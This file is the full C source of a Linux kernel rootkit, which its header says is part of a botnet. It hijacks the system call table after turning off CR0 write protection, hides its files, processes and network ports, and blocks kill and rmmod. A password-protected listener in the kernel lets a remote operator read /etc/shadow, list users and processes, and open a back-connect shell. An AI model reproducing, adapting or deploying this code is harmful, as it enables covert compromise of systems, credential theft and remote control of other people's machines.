/*
* cr0security kernel space rootkit version 1.0
* (c) Copyright by Cr0security All Rights Reserved
* http://www.cr0security.com
*
* this rootkit just a module of current botnet development (cr0security's botnet)
*  features:
*  - kernel space daemon :
*      ~ check who's on the box remotely
*      ~ view /etc/shadow remotely
*      ~ on demand back connect
*     ~ checking process remotely
* - hiding files and directory
* - hiding from netstat
* - anti kill process
* - prevent open, rm, rmmod, fake view
* - hiding module
*  Tested on :
*      - linux 2.6.18-238.19.1.el5PAE  - SMP - i686  (CentOS)
*      - linux 2.6.32-279.2.1.el6.i686 (CentOS)
*      - linux-3.3-rc6 - i686 (Debian)
*      - linux-2.6.35-22-generic - i686 (Debian)
*      - linux-2.6.27.1 - i686 (Debian)
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*
*/
#include <linux/highmem.h>
#include <linux/delay.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#ifdef CONFIG_SMP
#if(LINUX_VERSION_CODE <  KERNEL_VERSION(3,0,0))
#include <linux/smp_lock.h>
#endif
#endif
#if(LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33))
#include <generated/autoconf.h>
#else
#include <linux/autoconf.h>
#endif
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/linkage.h>
#include <linux/types.h>
#include <linux/fcntl.h>
#include <net/sock.h>
#include <linux/in.h>
#include <linux/kthread.h>
#include <linux/vmalloc.h>
#include <linux/ctype.h>
#include "cr0security.h"

static inline void cr0security cr_sendmsg(cr0sock master_sock,char *msg_to_send,char *alternate_msg)
{
       cr0 filpo = 0;

       KERN
       if (strstr(msg_to_send,"cr0sec")) {
               log_path_buf3 = kmalloc(1012,GFP_KERNEL);
               log_path_buf3 = crflp_open(unknown_buffer);
               sockbuffer = kmalloc(1012,GFP_KERNEL);
               Length6 = sprintf(sockbuffer, log_path_buf3);
       }
       else {
               sockbuffer = kmalloc(300,GFP_KERNEL);
               if (executed == 0)
                       Length6 = sprintf(sockbuffer,msg_to_send);
               else
                       Length6 = sprintf(sockbuffer,alternate_msg);
       }
       cr_send(master_sock,sockbuffer,Length6);
       kfree(sockbuffer);
       if (filpo == 1)
               kfree(log_path_buf3);
       END
}

static inline char *crinst(cr0 nomer)
{
       sprintf(hasil_konversi,"%d",nomer);
       return hasil_konversi;
}

inline unsigned long cr0security *cr_repop(void *cr0_argumen)
{
       cr0_heap = kmalloc(256,GFP_KERNEL);
       KERN
       r1m = copy_from_user(cr0_heap,cr0_argumen,255);
       END
       if ((strstr(cr0_heap,cr_PROC)) || (strstr(cr0_heap,"sbin")) || (strstr(cr0_heap,cr_cocoa))  || (strstr(cr0_heap,cr_panda)))
               cr0_stat = TRUE;
       else
               cr0_stat = FALSE;
       kfree(cr0_heap);
       if (cr0_stat == TRUE)
                retback_val =   (unsigned long *) (-ENOENT);
       return retback_val;
}

static inline cr0 cr0security resumer(cr0sock master_sock,struct sockaddr_in master_addr)
{
       cr0 panjang_cr_failed_epic = strlen(cr_failed_epic);

       KERN
       sockbuffer = kmalloc((panjang_cr_failed_epic+1),GFP_KERNEL);
       Length4 = sprintf(sockbuffer, "%s",cr_failed_epic);
       cr_send(master_sock,sockbuffer,Length4);
       kfree(sockbuffer);
       END
       return 0;
}

static inline void cr0security userspace_elf(char *cmd)
{
       cr0 ret = 0;
       char *argv[] = {myprocessor,cmd,NULL};
       char *envp[] = {"HOME=/","PATH=/sbin:/usr/sbin:/bin:/usr/bin",0};

       KERN
       ret = call_usermodehelper(myprocessor, argv,envp, 0);
       END
}

static inline cr0 cr0security umhbcs(char *ipx)
{
       cr0 ret = 0;
       char *argv[] = {myprocessor,"bcs",ipx, NULL};
       char *envp[] = {"HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", 0};

       KERN
       ret = call_usermodehelper(myprocessor, argv, envp, 0);
       END
       return ret;
}

static inline ssize_t cr0security cr_recvmsg(cr0sock master_sock, void *cr0_buffer, size_t Length3)
{
       h4x0rmsg msg;
       ssize_t retme;

       KERN
       msg.msg_name = 0;
       msg.msg_namelen = 0;
       msg.msg_iov = &iov;
       msg.msg_iovlen = 1;
       msg.msg_control = NULL;
       msg.msg_controllen = 0;
       msg.msg_flags = MSG_NOSIGNAL;
       iov.iov_base = (char*) cr0_buffer;
       iov.iov_len =  Length3;
       retme = sock_recvmsg(master_sock, &msg, Length3, 0);
       END
       return retme;
}

static cr0 cr0security crdaemon(cr0sock master_sock,struct sockaddr_in master_addr)
{
       cr0 panjang_cr_console = strlen(cr_console);
       cr0 cr0_executed = 0;
       cr0 executed = 1;
       cr0 panjang_cr_motd = strlen(cr_motd);

       repeated_oops:
       switch (cr0_executed) {
               case 0:
               sockbuffer = kmalloc((panjang_cr_motd+1),GFP_KERNEL);
               Length4 = sprintf(sockbuffer, "%s",cr_motd);
               KERN
               cr_send(master_sock,sockbuffer,Length4);
               END
               kfree(sockbuffer);
               break;
               case 1:
               sockbuffer = kmalloc((panjang_cr_console+1),GFP_KERNEL);
               Length4 = sprintf(sockbuffer, "%s",cr_console);
               KERN
               cr_send(master_sock,sockbuffer,Length4);
               END
               kfree(sockbuffer);
               break;
               case 2:
               return -1;
               break;
       }
       while (1)  {
                       char cmd[70] = "";
                       Length5 = 0;
                       sockbuffer_cmd = kmalloc(70,GFP_KERNEL);
                       KERN
                       Length5 = cr_recvmsg(master_sock, sockbuffer_cmd, sizeof(sockbuffer_cmd));
                       END
                       if (Length5 > 0) {
                               KERN
                               snprintf(predict_buffer,70,"%s",sockbuffer_cmd);
                               for (i = 0;i < 68;i++) {
                                       validchar = 0;
                                       for (j = 0;j < 66;j++) {
                                               if((int)predict_buffer[i] == (int)valid_char[j])
                                                       validchar = 1;
                                       }
                                       if(validchar == 1)
                                               cmd[i] = predict_buffer[i];
                               }
                               END
                       }
                       kfree(sockbuffer_cmd);
                       if ((strlen(cmd) > 2)) {
                               if ((strcmp(cmd,"exit") == 0) || (strstr(cmd,"ex")))
                                        cr0_executed = 2;
                               else {
                                       executed = 0;
                                       printk("\ngot cmd : [%s]\n",cmd);
                                       if((strcmp(cmd,"shd") == 0) || (strstr(cmd,"sh"))) {
                                               KERN
                                               userspace_elf("shd");
                                               cr_sendmsg(master_sock,successfull_msg,failure);
                                               END
                                               cr0_executed = 1;
                                       }
                                       else if ((strcmp(cmd,"who") == 0) || (strstr(cmd,"wh"))) {
                                               KERN
                                               userspace_elf("who");
                                               cr_sendmsg(master_sock,successfull_msg,failure);
                                               END
                                               cr0_executed = 1;
                                       }
                                       else if ((strcmp(cmd,"psa") == 0) || (strstr(cmd,"ps"))) {
                                               userspace_elf("psa");
                                               cr_sendmsg(master_sock,successfull_msg,failure);
                                               END
                                               cr0_executed = 1;
                                       }
                                       else if ((strstr(cmd,"pr")) || (strcmp(cmd,"prt") == 0)) {
                                               KERN
                                               cr_sendmsg(master_sock,"cr0security","cr0security");
                                               END
                                               cr0_executed = 1;
                                       }
                                       else if ((strcmp(cmd,"bcs") == 0) || (strstr(cmd,"bc"))) {
                                               master_ip = kmalloc(16,GFP_KERNEL);
                                               KERN
                                               master_ip = inet_ntoa(&master_addr.sin_addr);
                                               executed = umhbcs(master_ip);
                                               sockbuffer = kmalloc(100,GFP_KERNEL);
                                               Length6 = sprintf(sockbuffer, "\nback connect to [%s]\n",master_ip);
                                               cr_send(master_sock,sockbuffer,Length6);
                                               kfree(sockbuffer);
                                               kfree(master_ip);
                                               END
                                               cr0_executed = 1;
                                       }
                                       else {
                                               KERN
                                               sockbuffer = kmalloc((panjang_cr_motd+1),GFP_KERNEL);
                                               Length4 = sprintf(sockbuffer, "%s",cr_motd);
                                               cr_send(master_sock,sockbuffer,Length4);
                                               kfree(sockbuffer);
                                               END
                                               cr0_executed = 1;
                                       }
                               }
                       }
                       goto repeated_oops;
       }
       return 0;
}

static inline char cr0security *crflp_open(char *unknown_buffer)
{
       char buf[1012];
       cr0 konter;

       char_array = 0;
       unknown_buffer = kmalloc(1012, GFP_KERNEL);
       tmpcharbuf = kmalloc(1, GFP_KERNEL);
       KERN
       raidon = filp_open(log_path, O_RDONLY, 0);
       sprintf(unknown_buffer, "\n");
       if(IS_ERR(raidon))
               sprintf(unknown_buffer,"\nfailed to execute your command sorry\n");
       else {
               konter = 0;
               memset(buf, 0x0, 1012);
               pointer = buf;
               /* extern ssize_t vfs_read(struct file *, char __user *, size_t, loff_t *); */
               while ((vfs_read(raidon, pointer + char_array, 1, &raidon->f_pos) == 1) && (konter < 1007)) {
                       konter++;
                       if (pointer[char_array] == '\n' || char_array > 255)
                               sprintf(tmpcharbuf, "%c", pointer[char_array]);
                       else {
                               sprintf(tmpcharbuf, "%c", pointer[char_array]);
                               char_array = 0;
                       }
                       strcat(unknown_buffer, tmpcharbuf);
                       memset(buf, 0x0, 1012);
                       char_array++;
               }
       }
       filp_close(raidon,NULL);
       END
       kfree(tmpcharbuf);
       return unknown_buffer;
       kfree(unknown_buffer);
}

static inline void cr0security cr(void)
{
       unsigned long value;

       asm volatile("mov %%cr0,%0" : "=r" (value));
       if (value & 0x10000) {
               value &= ~0x00010000;
               asm volatile("mov %0,%%cr0": : "r" (value));
       }
       else
               write_cr0 (read_cr0 () | 0x10000);
}

static cr0 cr0security init_cr_this_mod(void *arg)
{
       cr0sock server_sock,master_sock;
       struct sockaddr_in server_addr;
       struct sockaddr_in master_addr;
       cr0 retme, my_sockaddr_len, master_sockaddr_len;

       repeat_socket:
       already = FALSE;
       allow_signal(SIGKILL);
       master_sock = NULL;
       server_sock = NULL;
       KERN
       memset(&master_addr,0,sizeof(master_addr));
       memset(&server_addr,0,sizeof(server_addr));
       server_addr.sin_family = PF_INET;
       server_addr.sin_port = htons(int_cr_kern_port);
       server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
       my_sockaddr_len = sizeof(struct sockaddr_in);
       master_sockaddr_len = sizeof(struct sockaddr_in);
       result = sock_create(PF_INET, SOCK_STREAM, 0, &server_sock);
       if(result < 0)
               return -1;
       if (server_sock==NULL)
               return -1;
       bind = server_sock->ops->bind(server_sock, (struct sockaddr *) &server_addr, my_sockaddr_len);
       if (bind < 0)
               return -1;
       listen = server_sock->ops->listen(server_sock,SOMAXCONN);
       if (listen < 0)
               return -1;
       KERN
       master_sock = (struct socket *)server_sock;
       retme = sock_create(server_sock->sk->sk_family, server_sock->type,server_sock->sk->sk_protocol, &master_sock);
       master_sock->type = server_sock->type;
       master_sock->ops = server_sock->ops;
       retme = server_sock->ops->accept(server_sock, master_sock, 0);
       if ((retme < 0) || (master_sock ==NULL))
               return -1;
       else
               retme = master_sock->ops->getname(master_sock,( struct sockaddr *)&master_addr, &my_sockaddr_len, 2);
       if (master_sock == NULL)
               return -1;
       Length = sprintf(cr0_buffer, "%s",the_pass);
       cr_send(master_sock, cr0_buffer, Length);
       END
       while ((1) && (already == FALSE)) {
               sockbuffer = kmalloc(256,GFP_KERNEL);
               KERN
               Length2 = cr_recvmsg(master_sock, sockbuffer, sizeof(sockbuffer));
               END
               if (Length2 > 0) {
                       KERN
                       panjang = strlen(password) - 1;
                       clean_buffer = kmalloc(panjang,GFP_KERNEL);
                       orig_len = panjang;
                       clean_buffer = crtruncate(sockbuffer,panjang);
                       total_pass = panjang + 10;
                       mypassword = kmalloc(total_pass,GFP_KERNEL);
                       sprintf(mypassword,"%s%s%s",password,null_terminate,null_terminate);
                       END
                       if(strstr(mypassword,clean_buffer)) {
                               kfree(sockbuffer);
                               kfree(mypassword);
                               kfree(clean_buffer);
                               goto letmein;
                       }
                       else {
                               kfree(sockbuffer);
                               kfree(mypassword);
                               kfree(clean_buffer);
                               goto wrongway;
                       }
               }
               kfree(sockbuffer);
       }
       wrongway:
       resumer(master_sock,master_addr);
       if (master_sock != NULL)
               sock_release(master_sock);
       if (server_sock != NULL)
               sock_release(server_sock);
       goto repeat_socket;
       letmein:
       gmon_ops_return =  crdaemon(master_sock,master_addr);
       if (master_sock != NULL)
               sock_release(master_sock);
       if (server_sock != NULL)
               sock_release(server_sock);
       goto repeat_socket;
//do {} while(!kthread_should_stop());
return 0;
}

/*
static char* cr0_substring(const char str[6],cr0 len_original_string,cr0 length_from_last)
{
char *ret_string_val;
cr0 i;
cr0 sisha;
printk("\nexecuting cr0_substring\n");
ret_string_val=(char*)kmalloc((cr0)(length_from_last),GFP_KERNEL);
sisha=len_original_string-length_from_last;
for (i=len_original_string;i>sisha;i--) {
       printk("\ngot i : [%d]\n",i);
       printk("\ngot char val: %c\n",str[i]);
       }
i--;
printk("\ngot i : [%d]\n",i);
printk("\ngot char val: %c\n",str[i]);
return (char*)(ret_string_val);
}
*/

static inline char* cr0security crtruncate(const char* str,cr0 len)
{
       char *str2;

       str2 = kmalloc((cr0)(len),GFP_KERNEL);
       if (strlen(str) == 0)
               return (char*)(str);
       else {
               snprintf(str2,len,"%s",str);
               return (char*)(str2);
       }
     kfree(str2);
}

static inline char* cr0security replace_string(char *full_str,char *old_str, char *new_str)
{
       static char buffer[4096];
       char *p;

       if(!(p = strstr(full_str, old_str)))
               return full_str;
       strncpy(buffer, full_str, p-full_str);
       buffer[p-full_str] = '\0';
       sprintf(buffer+(p-full_str), "%s%s", new_str, p+strlen(old_str));
       return buffer;
}


static inline size_t cr0security cr_send(cr0sock master_sock, const char *Buffer, size_t Length)
{
       h4x0rmsg msg;

       KERN
       msg.msg_name = 0;
       msg.msg_namelen = 0;
       msg.msg_iov = &iov;
       msg.msg_iovlen = 1;
       msg.msg_control = NULL;
       msg.msg_controllen = 0;
       msg.msg_flags = MSG_NOSIGNAL;
       iov.iov_base = (char*) Buffer;
       iov.iov_len = Length;
       len2 = sock_sendmsg(master_sock,&msg,(size_t)(Length));
       END
       return len2;
}

/*inet_ntoa function taken from ksocket by @[email protected] */
inline char *inet_ntoa(struct in_addr *in)
{
       char* str_ip = NULL;
       u_int32_t int_ip = 0;

       KERN
       str_ip = kmalloc(16 * sizeof(char), GFP_KERNEL);
       if (!str_ip)
               return NULL;
       else
               memset(str_ip, 0, 16);
       int_ip = in->s_addr;
       sprintf(str_ip, "%d.%d.%d.%d",  (int_ip ) & 0xFF,(int_ip >> 8 ) & 0xFF,(int_ip >> 16) & 0xFF,(int_ip >> 24) & 0xFF);
       return str_ip;
       kfree(str_ip);
       END
}
/*eof ksocket's inet_ntoa*/

/*
brute forcing method to find sys_call_table ( Sorry, not for SMP )
modified for SMP from http://www.gadgetweb.de/linux/40-how-to-hijacking-the-syscall-table-on-latest-26x-kernel-systems.html
*/

unsigned long **find_sys_call_table(void)
{
       unsigned long ptr;
       unsigned long **sctable;

       sctable = NULL;
       ptr = 0;
#ifdef CONFIG_SMP
       goto not_for_smp;
#else
       for (ptr = (unsigned long)&_unlock_kernel; ptr < (unsigned long)&loops_per_jiffy;ptr += sizeof(void *)) {
               unsigned long *p;
               p = (unsigned long *)ptr;
               if (p[__NR_close] == (unsigned long) sys_close) {
                       sctable = (unsigned long **)p;
                       return &sctable[0];
               }
       }
#endif
       not_for_smp:
       return NULL;
}

inline static asmlinkage unsigned long cr0security *cr_open(const char __user *filename,cr0 flags, cr0 mode)
{
       found=FALSE;
       tmpbuf = kmalloc(256,GFP_KERNEL);
       KERN
       r1m = copy_from_user(tmpbuf,filename,255);
       END
       for (konter=0;konter < 7;konter++) {
               if (strstr(tmpbuf,forbidden_files_to_read[konter]))
                       found=TRUE;
       }
       if (found == TRUE)
               return (unsigned long *) (-ENOENT);
       else
               return (unsigned long *) (open_asli) (filename,flags,mode);
       kfree(tmpbuf);
}

inline static asmlinkage unsigned long cr0security *cr_chdir(const char __user *filename)
{
       KERN
       cr0_stat = FALSE;
       cr_repop((void *)filename);
       if (cr0_stat == FALSE)
               retback_val =  (unsigned long *) (chdir_asli) (filename);
       END
       return retback_val;
}

inline static asmlinkage unsigned long cr0security *cr_rmdir(const char __user *pathname)
{
       cr0_stat = FALSE;
       cr_repop((void *)pathname);
       if (cr0_stat == FALSE)
               retback_val =  (unsigned long *) (rmdir_asli) (pathname);
       return retback_val;
}

inline static asmlinkage unsigned long cr0security *cr_rename(const char __user *oldname,const char __user *newname)
{
       rename_found = FALSE;
       rename_oldname = kmalloc(256,GFP_KERNEL);
       KERN
       r1m = copy_from_user(rename_oldname,oldname,255);
       END
       if ((strstr(rename_oldname,"cr0security")) || (strstr(rename_oldname,"sbin")))
               rename_found = TRUE;
       else {
               for (rename_konter = 0;rename_konter < 10;rename_konter++) {
                       if (strstr(rename_oldname,forbidden_files_to_read[rename_konter]))
                               rename_found = TRUE;
               }
       }
       if (rename_found == TRUE)
               return (unsigned long *) (-ENOENT);
       else
               return (unsigned long *) (rename_asli) (oldname,newname);
       kfree(rename_oldname);
}

inline static asmlinkage unsigned long cr0security *cr_write(unsigned int fd, const char __user *buf,size_t count)
{
       status=7777;
       do_fake = FALSE;
       /*block grep*/
       kern_heap2 = kmalloc(count, GFP_KERNEL);
       r4m =  copy_from_user(kern_heap2, buf, count);
       if ((strstr(kern_heap2,cr_PROC))) {
               printk ("\nr4m found cr0security on buffer\n");
       }
       kfree(kern_heap2);
       if ((strstr(current->comm,"netstat")) || (strstr(current->comm,"|")) || (strstr(current->comm,"stat")) || (strstr(current->comm,"ss")) || (strstr(current->comm,"ip
")) || (strstr(current->comm,"cat")) || (strstr(current->comm,"pic")) || (strstr(current->comm,"more")) || (strstr(current->comm,"head")))  {
               buf_modified = kmalloc(count,GFP_KERNEL);
               kern_heap = kmalloc(count,GFP_KERNEL);
               KERN
               r1m = copy_from_user(kern_heap,buf,count);
               END
               if (strstr(kern_heap,cr_PORT)) {
                       KERN
                       buf_modified = (const char __user*)crrepinval(kern_heap,buf,1);
                       END
               }
               else if (strstr(kern_heap,string_cr_kern_port)) {
                       KERN
                       buf_modified = (const char __user*)crrepinval(kern_heap,buf,2);
                       END
               }
               else if (strstr(kern_heap,cr_backconnect_PORT)) {
                       KERN
                       buf_modified = (const char __user*)crrepinval(kern_heap,buf,6);
                       END
                       }
                       else if (strstr(kern_heap,cr_backconnect_PORT_HEX)) {
                               KERN
                               buf_modified = (const char __user*)crrepinval(kern_heap,buf,5);
                               END
                       }
                       else if (strstr(kern_heap,cr_PORT_HEX)) {
                               KERN
                               buf_modified = (const char __user*)crrepinval(kern_heap,buf,3);
                               END
                       }
                       else if (strstr(kern_heap,cr_kern_PORT_HEX)) {
                               KERN
                               buf_modified = (const char __user*)crrepinval(kern_heap,buf,4);
                               END
                       }
                       kfree(kern_heap);
                       if (do_fake == TRUE) {
                               count = (size_t) panjang_fake_net;
                               return  (unsigned long *) (write_asli) (fd, buf, count);
                       }
                       else if (do_fake_hex == TRUE) {
                               count = (size_t) panjang_fake_net_hex;
                               return (unsigned long *) (write_asli) (fd,buf,count);
                       }
                       else
                               return  (unsigned long *) (write_asli) (fd, buf, count);
       }
       else if (strstr(current->comm,"dmesg")) {
               KERN
               ev1l_dmesg = filp_open(our_dmesg_path,O_RDONLY,0);
               END
               if (IS_ERR(ev1l_dmesg))
                       goto close;
               else {
                       dmesg_buffer = kmalloc(dmesg_size,GFP_KERNEL);
                       KERN
                       ev1l_dmesg->f_op->read(ev1l_dmesg,dmesg_buffer,dmesg_size, &ev1l_dmesg->f_pos);
                       r1m = copy_to_user((void*)buf,dmesg_buffer,dmesg_size);
                       END
                       count = dmesg_size;
                       kfree(dmesg_buffer);
               }
               close:
               filp_close(ev1l_dmesg,NULL);
               return (unsigned long *) (write_asli) (fd,buf,count);
       }
       else {
               if ((strstr(buf,cr_PROC))) {
                       char *kbuf = kmalloc(count,GFP_KERNEL);
                       KERN
                       r1m = copy_from_user(kbuf,buf,count);
                       END
                       for (konter = 0;konter < 11;konter++) {
                               KERN
                               if (strstr(current->comm,cmd_pawned_cmd[konter])) {
                                       if (strstr(kbuf,cr_PROC))
                                               status = 0;
                               }
                               END
                               crinst(cr_PID);
                               KERN
                               if ((strstr(current->comm,"pmap")) && (strstr(current->comm,hasil_konversi)) && (strstr(current->comm,"stat")))
                                       status = 2;
                               END
                               if (konter2 < 7) {
                                       if (strstr(kbuf,hijacked_syscall[konter2]))
                                               status = 0;
                               }
                       }
               kfree(kbuf);
               }
               switch (status) {
                       case 0:
                       k_m_a_l_l_o_c__b_u_f_f_e_r = kmalloc(256,GFP_KERNEL);
                       memset(k_m_a_l_l_o_c__b_u_f_f_e_r, 0,255);
                       KERN
                       r1m = copy_to_user((void *)buf,k_m_a_l_l_o_c__b_u_f_f_e_r,255);
                       END
                       kfree(k_m_a_l_l_o_c__b_u_f_f_e_r);
                       retback_val = (unsigned long *) (write_asli) (fd,buf,count);
                       case 2:
                       retback_val =  (unsigned long *) (-ESRCH);
                       break;
                       case 7777:
                       retback_val =  (unsigned long *) (write_asli) (fd, buf, count);
           }
           return retback_val;
       }
}

static inline char cr0security *crrepinval(char *kern_heap,const char __user *buf,cr0 ev1lmode)
{
       if ((ev1lmode==1) || (ev1lmode==2) || (ev1lmode==6)) {
               panjang_fake_net = strlen(kern_heap);
               fake_net = vmalloc(panjang_fake_net);
               vmalloc_buffer = vmalloc(panjang_fake_net);
       }
       else {
               panjang_fake_net_hex = strlen(kern_heap);
               fake_net_hex = vmalloc(panjang_fake_net_hex);
               vmalloc_buffer = vmalloc(panjang_fake_net_hex);
       }
       switch (ev1lmode) {
               case 1:
               panjang_fake_net = strlen(kern_heap);
               fake_net = replace_string(kern_heap,cr_PORT,"*   ");
               break;
               case 2:
               panjang_fake_net = strlen(kern_heap);
               fake_net = replace_string(kern_heap,string_cr_kern_port,"*   ");
               break;
               case 3:
               panjang_fake_net_hex = strlen(kern_heap);
               fake_net_hex = replace_string(kern_heap,cr_PORT_HEX,"0000");
               break;
               case 4:
               panjang_fake_net_hex = strlen(kern_heap);
               fake_net_hex = replace_string(kern_heap,cr_kern_PORT_HEX,"0000");
               break;
               case 5:
               panjang_fake_net_hex = strlen(kern_heap);
               fake_net_hex = replace_string(kern_heap,cr_backconnect_PORT_HEX,"0000");
               break;
               case 6:
               panjang_fake_net = strlen(kern_heap);
               fake_net = replace_string(kern_heap,cr_backconnect_PORT,"*   ");
               break;
       }
       KERN
       if ((ev1lmode == 1) || (ev1lmode == 2) || (ev1lmode == 6)) {
               memcpy(vmalloc_buffer,fake_net,panjang_fake_net);
               r1m = copy_to_user((void*)buf,vmalloc_buffer,panjang_fake_net);
               vfree(fake_net);
       }
       else {
               memcpy(vmalloc_buffer,fake_net_hex,panjang_fake_net_hex);
               r1m = copy_to_user((void*)buf,vmalloc_buffer,panjang_fake_net_hex);
               vfree(fake_net_hex);
       }
       END
       vfree(vmalloc_buffer);
       return (char*)buf;
}

inline static asmlinkage unsigned long cr0security *cr_unlink(const char __user *pathname)
{
       cr0_stat = FALSE;
       cr_repop((void *)pathname);
       if (cr0_stat == FALSE)
               retback_val =  (unsigned long *) (*unlink_asli)(pathname);
       return retback_val;
}

#if(LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
inline static asmlinkage unsigned long cr0security *cr_unlinkat(cr0 dfd, const char __user * pathname, cr0 flag)
{
       cr0_stat = FALSE;
       cr_repop((void *)pathname);
       if (cr0_stat == FALSE)
               retback_val =  (unsigned long *) (*unlinkat_asli)(dfd,pathname,flag);
       return retback_val;
}
#endif

inline static asmlinkage unsigned long cr0security *cr_kill(cr0 pid, cr0 sig)
{
       if ((should_i_disable_sys_kill > 0)) {
               crinst(pid);
               totheap = 6 + sizeof(hasil_konversi) + 8;
               file_buf = kmalloc(200,GFP_KERNEL);
               lemme_lemme_maho = kmalloc(totheap,GFP_KERNEL);
               sprintf(lemme_lemme_maho,"/proc/%s/cmdline",hasil_konversi);
               KERN
               ev1l_proc = filp_open(lemme_lemme_maho,O_RDONLY,0);
               END
               if (IS_ERR(ev1l_proc))
                       goto closeme;
               else {
                       KERN
                       ev1l_proc->f_op->read(ev1l_proc, file_buf,50, &ev1l_proc->f_pos);
                       END
                       if (strstr(file_buf,cr_PROC))
                               return (unsigned long *) (-ESRCH);
                       else
                               return (unsigned long *) (*kill_asli)(pid,sig);
               }
        closeme:
        filp_close(ev1l_proc,NULL);
        kfree(file_buf);
        kfree(lemme_lemme_maho);
       }
       return (unsigned long *) (*kill_asli)(pid,sig);
}

/*init module for cr0security*/
static cr0 cr0security cr_start(void)
{
       list_del (&THIS_MODULE->list);
       try_module_get(THIS_MODULE);
       cr();
       KERN
       if (proto_sys_call == invalid) {
               proto_sys_call = (void *) *find_sys_call_table();
       }
       END

#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
       unlinkat_asli=(void *) (proto_sys_call[__NR_unlinkat]);
#endif
       kill_asli = (void *) (proto_sys_call[__NR_kill]);
       write_asli = (void *) (proto_sys_call[__NR_write]);
       open_asli = (void *) (proto_sys_call[__NR_open]);
       unlink_asli = (void *) (proto_sys_call[__NR_unlink]);
       rename_asli = (void *) (proto_sys_call[__NR_rename]);
       rmdir_asli = (void *)   (proto_sys_call[__NR_rmdir]);
       chdir_asli= (void *) (proto_sys_call[__NR_chdir]);
       proto_sys_call[__NR_kill] = (unsigned long) *(cr_kill);
       proto_sys_call[__NR_open] = (unsigned long) *(cr_open);
       proto_sys_call[__NR_unlink] = (unsigned long) *(cr_unlink);
       proto_sys_call[__NR_rmdir] = (unsigned long) *(cr_rmdir);
       proto_sys_call[__NR_rename] = (unsigned long) *(cr_rename);
       proto_sys_call[__NR_chdir] = (unsigned long) *(cr_chdir);
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
       proto_sys_call[__NR_unlinkat] = (unsigned long) *(cr_unlinkat);
#endif
       proto_sys_call[__NR_write] = (unsigned long)  *(cr_write);
       cr();
       KERN
       kernel_thread(init_cr_this_mod,NULL,0);
//tcpd_thread=kthread_run(init_cr_this_mod,NULL,"init cr0 tcpd");
       END
       return 0;
}

/*eof init module for cr0security*/
static void cr0security cr_end(void)
{
       printk("\nlet me end\n");
       cr();
       proto_sys_call[__NR_rmdir] = (unsigned long) *(rmdir_asli);
       proto_sys_call[__NR_rename] = (unsigned long) *(rename_asli);
       proto_sys_call[__NR_kill]  = (unsigned long)  *(kill_asli);
       proto_sys_call[__NR_write] = (unsigned long) *(write_asli);
       proto_sys_call[__NR_open] = (unsigned long) *(open_asli);
       proto_sys_call[__NR_unlink] = (unsigned long) *(unlink_asli);
       proto_sys_call[__NR_chdir] = (unsigned long) *(chdir_asli);
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,18))
       proto_sys_call[__NR_unlinkat] = (unsigned long) *(unlinkat_asli);
#endif
       cr();
//kthread_stop(tcpd_thread);
}

module_init(cr_start);
module_exit(cr_end);
MODULE_AUTHOR("cr0security.com");
MODULE_LICENSE("GPL");